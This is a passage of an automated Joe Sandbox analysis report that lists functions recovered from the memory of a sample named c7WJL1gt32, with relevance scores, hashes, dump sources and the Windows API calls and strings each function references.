Opcode Fuzzy Hash: 27873f20832c3b6f2725bf13b098a4314b7d652c48cd46e3f1ebd0e1802fcb82
Instruction Fuzzy Hash: E0A190B4E016288FEB18DF6AC944B9DBBF2AF89301F14C1AAD408B7255DB345A85CF51

Function 383196C8 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49a0412eae5ef89679738ef4b7f11c7f56dd8a75ec13c10d4bb1214433a9a47e
Instruction ID: 4b1cd5670288a6eb93246e0360428019ba16374627fe0b578f56824eca2a2090
Opcode Fuzzy Hash: 49a0412eae5ef89679738ef4b7f11c7f56dd8a75ec13c10d4bb1214433a9a47e
Instruction Fuzzy Hash: C2A191B4E012188FEB58DF6AC944B9DBBF2BF89300F54D0AAD809A7255DB345A85CF11

Function 37B60F6F Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2979934383.0000000037B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37b60000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf9fbba6278f04c68032365ffdd2e9b369a90a431889d1e49984473ddc16a77b
Instruction ID: 0f12cf7b62dab32703bdf27a863accff7c71fa6f096cdebebe6e2d9bb32c282b
Opcode Fuzzy Hash: bf9fbba6278f04c68032365ffdd2e9b369a90a431889d1e49984473ddc16a77b
Instruction Fuzzy Hash: 849100B4D00218CFEB10DFA9D988B9CBBB1FF49315F209269E509BB291DB749985CF14

Function 3831BA97 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bd86ba14cfc708d9e35db34688bf60b9d73e70976d189c5ef2938eec4d3c67e
Instruction ID: 4127fd38b7631fd66d7e31d798b5dfe2a74e9389d1cc794c49efea41b7aa536e
Opcode Fuzzy Hash: 1bd86ba14cfc708d9e35db34688bf60b9d73e70976d189c5ef2938eec4d3c67e
Instruction Fuzzy Hash: E581D374E01608CBDB18EFAAD99069DBBF2BF88710F24D529E814AB358DB345942CB50

Function 38318640 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c51498d4512b4a5157266796441f8202d99c27d52f5ac802e5d3027e3349186
Instruction ID: 6747566021e84026731b0b3f96f392b4c80951ce11b2f4fe3af0d571532ddedb
Opcode Fuzzy Hash: 8c51498d4512b4a5157266796441f8202d99c27d52f5ac802e5d3027e3349186
Instruction Fuzzy Hash: 5A71B375D01228CFDB68DF6AC9807DDBBB2BB89701F1090AAD409A7354DB349E86CF50

Function 3831A9A0 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 882cb911b999c2fe7997a24d3f17df37370a9ab74ecf7544e5bc5097e1c89b19
Instruction ID: b11554cccb8fc24dd243eed3bc6faa957ed7daa803efbaa6f58ff8cb7eb8c89e
Opcode Fuzzy Hash: 882cb911b999c2fe7997a24d3f17df37370a9ab74ecf7544e5bc5097e1c89b19
Instruction Fuzzy Hash: 0E7183B4E01618CFEB58CF6AC944B9DBAF2AF88300F14C1AAD40DB7255DB745A85CF50

Function 383196B8 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b5b265c0dcb739374bc832221a8f8ab31030a21e6ecc0f6dcc1addb1e000023
Instruction ID: 3bfeef8bbf4e0bc5cff37d9479409b70226e7408f60412811d3c58106225f88c
Opcode Fuzzy Hash: 7b5b265c0dcb739374bc832221a8f8ab31030a21e6ecc0f6dcc1addb1e000023
Instruction Fuzzy Hash: F87183B4E006588FEB58CF6AC944B9DBBF2AF88300F14C1AAD40DA7255DB344A85CF51

Function 38319D00 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0725e2cab70b74bfb8a460dc62f2a4f40dfe0d88e305e9add96f7e8b45054672
Instruction ID: be1db62ae5ddd34a0d7d874ab50ed4801d295475428cba1628244caa64ba71e3
Opcode Fuzzy Hash: 0725e2cab70b74bfb8a460dc62f2a4f40dfe0d88e305e9add96f7e8b45054672
Instruction Fuzzy Hash: F2419DB1E016188BEB58CF6BC9557D9FAF3AFC8300F54C1AAC50CA7265DB744A868F50

Function 3831A352 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8734563e268974174b08860a75dec0905a374ad5a702c3cf65b87fdf5d1d82a7
Instruction ID: edd424bd270f11322e872c6c3c2bb82e6018d3325c6549de4d9be327e925e9d8
Opcode Fuzzy Hash: 8734563e268974174b08860a75dec0905a374ad5a702c3cf65b87fdf5d1d82a7
Instruction Fuzzy Hash: BB414AB1E016188BEB58CF6BC9457D9FAF3AFC9310F14C1AAD50CA6264DB744A868F50

Function 001568E5 Relevance: 6.6, Strings: 5, Instructions: 335
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(okq, xrefs: 00156BD7
(okq, xrefs: 00156BC7
,oq, xrefs: 00156B58
(okq, xrefs: 0015687A
,oq, xrefs: 00156B68

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: (okq$(okq$(okq$,oq$,oq
API String ID: 0-3760967313
Opcode ID: 57f537a744f82d6fb494990adee1b3bcc0090e6e2d110fd6d22bcf85aac33a25
Instruction ID: 8ee5c343ebd5ef232c2785279252c3e9b2782d47cf22fe21cafc1dd0ba75afaa
Opcode Fuzzy Hash: 57f537a744f82d6fb494990adee1b3bcc0090e6e2d110fd6d22bcf85aac33a25
Instruction Fuzzy Hash: A0D15B30A00248CFCB25CF69C594AAEBBF2FF48315F558559E869DB261D730ED89CB90

Function 38330970 Relevance: 6.1, APIs: 4, Instructions: 132
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 383309FE
GetCurrentThread.KERNEL32 ref: 38330A3B
GetCurrentProcess.KERNEL32 ref: 38330A78
GetCurrentThreadId.KERNEL32 ref: 38330AD1

Memory Dump Source

Source File: 00000004.00000002.2980347566.0000000038330000.00000040.00000800.00020000.00000000.sdmp, Offset: 38330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38330000_c7WJL1gt32.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 1deb3e21f3c9f31893351163544e50e3b21d981c515441b7ca0d1a8882e8322c
Instruction ID: 63d3424ed8321dd0917f544343fa8bc95b40279894b057e99070ecdac0ab0ad3
Opcode Fuzzy Hash: 1deb3e21f3c9f31893351163544e50e3b21d981c515441b7ca0d1a8882e8322c
Instruction Fuzzy Hash: F45155B49012499FDB04CFA9D558BDEBBF1AF88304F20C469E099A7361DB789980CF65

Function 38330980 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 383309FE
GetCurrentThread.KERNEL32 ref: 38330A3B
GetCurrentProcess.KERNEL32 ref: 38330A78
GetCurrentThreadId.KERNEL32 ref: 38330AD1

Memory Dump Source

Source File: 00000004.00000002.2980347566.0000000038330000.00000040.00000800.00020000.00000000.sdmp, Offset: 38330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38330000_c7WJL1gt32.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: f479694389a30dc46c5c64c0c44c7860013ce0e89165d5fddf424180eddbf22f
Instruction ID: e600d0057d78f6695e11a3b17a5ca089cad0b0161b93f6602a31de386459cfd4
Opcode Fuzzy Hash: f479694389a30dc46c5c64c0c44c7860013ce0e89165d5fddf424180eddbf22f
Instruction Fuzzy Hash: FF5154B09012498FDB04CFAAD558BDEBBF1EF88304F20C429E459A7361DB789980CF65

Function 383301C8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,0000000C,?,?,?), ref: 38330222

Strings

0, xrefs: 3833020A

Memory Dump Source

Source File: 00000004.00000002.2980347566.0000000038330000.00000040.00000800.00020000.00000000.sdmp, Offset: 38330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38330000_c7WJL1gt32.jbxd

Similarity

API ID: CreateWindow
String ID: 0
API String ID: 716092398-4108050209
Opcode ID: 9d8deacd8b51ed8a856f54da78b089773f1ed9bfd22b42ef00b8b06989cd9dbe
Instruction ID: 8fed9c326ae10017cf16ddc7e2eabd0c764565008aae7b41bd36362b8777b540
Opcode Fuzzy Hash: 9d8deacd8b51ed8a856f54da78b089773f1ed9bfd22b42ef00b8b06989cd9dbe
Instruction Fuzzy Hash: B721D07580025CEFDF01DFD4C994ADEBBB5BF08304F208149E908AB260C7B59885CF60

Function 00157458 Relevance: 3.2, Strings: 2, Instructions: 704
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$kq, xrefs: 00157F9F
$kq, xrefs: 00157F7C

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: $kq$$kq
API String ID: 0-3550614674
Opcode ID: 7c8d87da610300fe605d0f1e5b2425b578f8a9ffbdc6ac0fd360879a6ecf8049
Instruction ID: 7fc2b1f6ba1563f237e2b16107840f11cd8eccda5d28c723fe32797d3c9c6277
Opcode Fuzzy Hash: 7c8d87da610300fe605d0f1e5b2425b578f8a9ffbdc6ac0fd360879a6ecf8049
Instruction Fuzzy Hash: 9C52F074A00218CFEB24DBA4C961B9EBB73EF44300F1081A9D51A6B3A5DF359E89DF51

Function 001554A8 Relevance: 2.7, Strings: 2, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,oq, xrefs: 00155536
,oq, xrefs: 00155540

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: ,oq$,oq
API String ID: 0-3825397795
Opcode ID: bc21f12a98f72b1dad712732ecaff9e6d6aa0abf442771a621b0f5d677e6b79b
Instruction ID: d3d20eff92062d69f8f365d7ef030971ee1cbee9323bb6561d2c7e041a506db6
Opcode Fuzzy Hash: bc21f12a98f72b1dad712732ecaff9e6d6aa0abf442771a621b0f5d677e6b79b
Instruction Fuzzy Hash: DA719E34A00945CFCB18CF69C4A49A9B7B3BF88316B658069D826DF365E731EC45CF51

Function 00154F24 Relevance: 2.7, Strings: 2, Instructions: 164
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hoq, xrefs: 00154FEB
Hoq, xrefs: 0015501E

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: Hoq$Hoq
API String ID: 0-3106737575
Opcode ID: a2c7caa56c95c6d9ba3cf166d49a47c16b021fcf5c5abbafce15513955739be3
Instruction ID: 193ed77a481feb6ede8a8dc6f5833ba107b3872984b1c5b00331f179b97ea263
Opcode Fuzzy Hash: a2c7caa56c95c6d9ba3cf166d49a47c16b021fcf5c5abbafce15513955739be3
Instruction Fuzzy Hash: CA51BD35308251CFCB159F38C858BAE7BF6BF88306F15442AE8558B291CB35CC89CB91

Function 3831D548 Relevance: 2.7, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'kq, xrefs: 3831D5ED
4'kq, xrefs: 3831D5CA

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq
API String ID: 0-4171853269
Opcode ID: e3c9aa91d9e9979bef738f08c1cfd9c49327896e89a38fa03d0cada85fb5d879
Instruction ID: 6a9ea6a06c60c72bb1984ebefd7a1a3e123dcb9e3807503c9f0180d25695f5d3
Opcode Fuzzy Hash: e3c9aa91d9e9979bef738f08c1cfd9c49327896e89a38fa03d0cada85fb5d879
Instruction Fuzzy Hash: 4D518370A002499FCB05EFA9D551AEEBBB2FF85300F1085A5D005BB366DB35AD46CF61

Function 00158D19 Relevance: 2.5, Strings: 2, Instructions: 44COMMON

Download Yara Rule

Strings

4'kq, xrefs: 00158D44
4'kq, xrefs: 00158D2D

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq
API String ID: 0-4171853269
Opcode ID: 3bd7af5a26edca9000b341ae23d8248be09fd9583419c9b48aa7a5378b9e851a
Instruction ID: 06aafc5b511c530abb691a9ecff1e4430a9d0ad0d4a513bfff927165766ef2d6
Opcode Fuzzy Hash: 3bd7af5a26edca9000b341ae23d8248be09fd9583419c9b48aa7a5378b9e851a
Instruction Fuzzy Hash: E4F068353001186FDB181AA59C5497B7ADBEBDC3A1B148439FD19C7391DF76CC4247A0

Function 38331DC0 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 38331E81

Memory Dump Source

Source File: 00000004.00000002.2980347566.0000000038330000.00000040.00000800.00020000.00000000.sdmp, Offset: 38330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38330000_c7WJL1gt32.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 72fa63ac5e850cc74c005dc1de6dbd6961914bf96fbb525b7a4669d013165c15
Instruction ID: fe0055f1dcd2fa7f50a8b4fb77e4f23a07f7ccf34fde420989fb928cbf7df09d
Opcode Fuzzy Hash: 72fa63ac5e850cc74c005dc1de6dbd6961914bf96fbb525b7a4669d013165c15
Instruction Fuzzy Hash: 8C41F5B9900359CFDB14CF99C444A9EBBF5FF88314F24C459E519AB321D775A841CBA0

Function 38330BC0 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 38330C4F

Memory Dump Source

Source File: 00000004.00000002.2980347566.0000000038330000.00000040.00000800.00020000.00000000.sdmp, Offset: 38330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38330000_c7WJL1gt32.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 9d8e8ea6d091c989a2c9aa92f01fc99b5936b9dca1194ca313bb52177d88451a
Instruction ID: 74709332974214df17397de03270468bf1fbc397f8bd7196e9410f9acd8c89d2
Opcode Fuzzy Hash: 9d8e8ea6d091c989a2c9aa92f01fc99b5936b9dca1194ca313bb52177d88451a
Instruction Fuzzy Hash: F321F5B5D01218AFDB10CFAAD584ADEFFF4EB48320F14841AE958A7310D374A944CFA5

Function 38330BC8 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 38330C4F

Memory Dump Source

Source File: 00000004.00000002.2980347566.0000000038330000.00000040.00000800.00020000.00000000.sdmp, Offset: 38330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38330000_c7WJL1gt32.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 3089a92d31233eb2c99012b92d60b2a1356aa1e167ecf941f3802ee3d63d2337
Instruction ID: 15fe9a6dfb705eb108e15d4a7439852e5d8881517a1053633f45aa1f95974b6b
Opcode Fuzzy Hash: 3089a92d31233eb2c99012b92d60b2a1356aa1e167ecf941f3802ee3d63d2337
Instruction Fuzzy Hash: 8D21F5B59002189FDB10CFAAD584ADEFFF4EB48320F14841AE958A7310D374A940CFA5

Function 38332018 Relevance: 1.5, APIs: 1, Instructions: 47timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 3833207D

Memory Dump Source

Source File: 00000004.00000002.2980347566.0000000038330000.00000040.00000800.00020000.00000000.sdmp, Offset: 38330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38330000_c7WJL1gt32.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 7d4776c7d2723d76e93ba6bd959a97359eb11ed2feb3b7e2bda388443cb4fab2
Instruction ID: b4ff8da28a790e828e4d521d8ae3debb089c459b9a3e32993ed30e67badba677
Opcode Fuzzy Hash: 7d4776c7d2723d76e93ba6bd959a97359eb11ed2feb3b7e2bda388443cb4fab2
Instruction Fuzzy Hash: 2D1103B5800348DFDB10DFAAD485BDEBBF8EB48320F108419E959A7310C375A984CFA5

Function 3833C560 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 3833D445

Memory Dump Source

Source File: 00000004.00000002.2980347566.0000000038330000.00000040.00000800.00020000.00000000.sdmp, Offset: 38330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38330000_c7WJL1gt32.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 831fe535cad724f6a67b1de64a60db730c084df66385a648bb947c32ae16d638
Instruction ID: 584ca7b91c7f04c1f84bb476d4c04aab81a43ef5df4fe23f6fb0a9fd279d6447
Opcode Fuzzy Hash: 831fe535cad724f6a67b1de64a60db730c084df66385a648bb947c32ae16d638
Instruction Fuzzy Hash: 2B1142B5900358CFDB20DFAAC544BDEBBF8EB48320F20845AD518A7310C779A980CFA5

Function 3833D3E8 Relevance: 1.5, APIs: 1, Instructions: 45comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 3833D445

Memory Dump Source

Source File: 00000004.00000002.2980347566.0000000038330000.00000040.00000800.00020000.00000000.sdmp, Offset: 38330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38330000_c7WJL1gt32.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 1190de2f228c51d40c0ab81736831e3c090e1bdf31bd70c69b81b23b035a596a
Instruction ID: cac5339d708e22e90a6d0155ccbc3a352f6dc42b92be7c18542b5f20dee45e23
Opcode Fuzzy Hash: 1190de2f228c51d40c0ab81736831e3c090e1bdf31bd70c69b81b23b035a596a
Instruction Fuzzy Hash: 831145B59002488FCB20CFAAD544BDEBFF0EB48324F20841AD459A7310C774A584CFA5

Function 3833E6C9 Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 3833E72D

Memory Dump Source

Source File: 00000004.00000002.2980347566.0000000038330000.00000040.00000800.00020000.00000000.sdmp, Offset: 38330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38330000_c7WJL1gt32.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 1d6386c92c2fcbd5b0c6c39ca58b2d947a91b6bc3eed107866803fbca85cefda
Instruction ID: cb2a5f9fe404130665a5715212bddc0e24d684d30c01268fcde53cf4ab065f90
Opcode Fuzzy Hash: 1d6386c92c2fcbd5b0c6c39ca58b2d947a91b6bc3eed107866803fbca85cefda
Instruction Fuzzy Hash: 6A11FEB5D012589FCB10DFAAE444ADEFBF0AB48324F10852AD459B3710C378A585CFA5

Function 38332020 Relevance: 1.5, APIs: 1, Instructions: 44timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 3833207D

Memory Dump Source

Source File: 00000004.00000002.2980347566.0000000038330000.00000040.00000800.00020000.00000000.sdmp, Offset: 38330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38330000_c7WJL1gt32.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 5e3f3777ca38eceb049b7c75c1dc6f6a1fe164378feef5df9d3922c39515c256
Instruction ID: 681b0fe0bdded23be954cfebc0f87273f3c66a182647d4435ea888602c55734e
Opcode Fuzzy Hash: 5e3f3777ca38eceb049b7c75c1dc6f6a1fe164378feef5df9d3922c39515c256
Instruction Fuzzy Hash: BE11D3B58003599FDB10DFAAD545BDEBBF8EB48320F108419E559A7210C375A584CFA5

Function 3833E6D0 Relevance: 1.5, APIs: 1, Instructions: 43windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 3833E72D

Memory Dump Source

Source File: 00000004.00000002.2980347566.0000000038330000.00000040.00000800.00020000.00000000.sdmp, Offset: 38330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38330000_c7WJL1gt32.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 30ce4b1e74d8f3a75417a4d72ef49aaa7144747f62d01cb6b560ff03024deeab
Instruction ID: e97358e25f5f30281367e527bafb479d72076d2acaa1e8fa6ebfb3a67130e141
Opcode Fuzzy Hash: 30ce4b1e74d8f3a75417a4d72ef49aaa7144747f62d01cb6b560ff03024deeab
Instruction Fuzzy Hash: 4E11FBB5C002588FCB10DFAAD444ACEFBF4AB48320F10842AD458A3210D378A684CFA5

Function 00150B29 Relevance: 1.5, Strings: 1, Instructions: 203COMMON

Download Yara Rule

Strings

LRkq, xrefs: 00150B62

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: LRkq
API String ID: 0-1052062081
Opcode ID: 2102ea39b7047a35cd670193f392338c9e582f007c3b0ecc855a18b3e88f74fb
Instruction ID: 751494caabc9ea100bd15f468b7c6bc99c65e91801bd6602ce00f3865d16b17f
Opcode Fuzzy Hash: 2102ea39b7047a35cd670193f392338c9e582f007c3b0ecc855a18b3e88f74fb
Instruction Fuzzy Hash: 43A19674A40309CFCB04DFA8D9949ADBBB2FB49705B104629E519AB365DB30AD4BCF84

Function 00150B30 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

LRkq, xrefs: 00150B62

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: LRkq
API String ID: 0-1052062081
Opcode ID: 0d4a335c58e6f2bc25ec6e77fd3a6cc03ace63b1fcf95a759c0c16488b400e7d
Instruction ID: ae682f754c161491a0464736e7ab60574b125eee0584cdd3a0c3d8060c855a41
Opcode Fuzzy Hash: 0d4a335c58e6f2bc25ec6e77fd3a6cc03ace63b1fcf95a759c0c16488b400e7d
Instruction Fuzzy Hash: D3A1A774A40309CFCB04DFA8D9849ADBBB2FB49705B104629E519BB365DB30AD47CF84

Function 00158E0C Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

4'kq, xrefs: 00158ECC

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: 4'kq
API String ID: 0-3255046985
Opcode ID: 7dd01d75115167d791add0fe20dbf6ad7e24812b31b3336478705be6c5608930
Instruction ID: 64843b1904d43e2e664e800f5d1fba4f3cffbc40f3cb69408ba1f5b4987ebf7e
Opcode Fuzzy Hash: 7dd01d75115167d791add0fe20dbf6ad7e24812b31b3336478705be6c5608930
Instruction Fuzzy Hash: AC51B070704245CFDB14DB68C890ABEB7B6AF88301F14856AE921EF255DF38CD8A8750

Function 3831CC28 Relevance: 1.4, Strings: 1, Instructions: 144COMMON

Download Yara Rule

Strings

7pS, xrefs: 3831CC32

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: 7pS
API String ID: 0-1762300125
Opcode ID: 1a70f39cda83ce6f66cfda9b1d00f8b0ea7dad8bbbaf7f327678032b56c96d1a
Instruction ID: 7aada7685c7595540ab3ff56b00e4d4160c8eb4764e183ce41d91affcfcfbd43
Opcode Fuzzy Hash: 1a70f39cda83ce6f66cfda9b1d00f8b0ea7dad8bbbaf7f327678032b56c96d1a
Instruction Fuzzy Hash: BC518274E00218CFDB54DFA9C990A9DBBB2FF88700F208169D919BB365DB31A946CF40

Function 00159FB4 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

(okq, xrefs: 0015A039

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: (okq
API String ID: 0-2789353238
Opcode ID: b47da58c48f78a95c4af021495781b4c8b6de38e062958052b20645a8175efd5
Instruction ID: 0af0775126ed4e8a78e99ca70135d322294389f000d19faa071565e12d2e8da4
Opcode Fuzzy Hash: b47da58c48f78a95c4af021495781b4c8b6de38e062958052b20645a8175efd5
Instruction Fuzzy Hash: 93212931708250CFCB1A5B2898205AE7BB7EFD9312764456AD916CB3E2DF358C07C792

Function 3831BD98 Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

7dV, xrefs: 3831BDA2

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: 7dV
API String ID: 0-257060660
Opcode ID: a2cf7526fb7c52a04b9ff4c69d90bea119010cd376279c654df808215aa16122
Instruction ID: 5748c91ec4221d131c1dcd6876eeca4e294d5791f3b5b44ef59531f2e5adc422
Opcode Fuzzy Hash: a2cf7526fb7c52a04b9ff4c69d90bea119010cd376279c654df808215aa16122
Instruction Fuzzy Hash: 9AE04670418E42DFE3152F70ACAC2BA3B70FB0B317B852D59E44E92422CB780000CB01

Function 3831C173 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8cdaf11d3504feb12478cc51cf28695de6e10c6cdffe4eae319f1536873b612
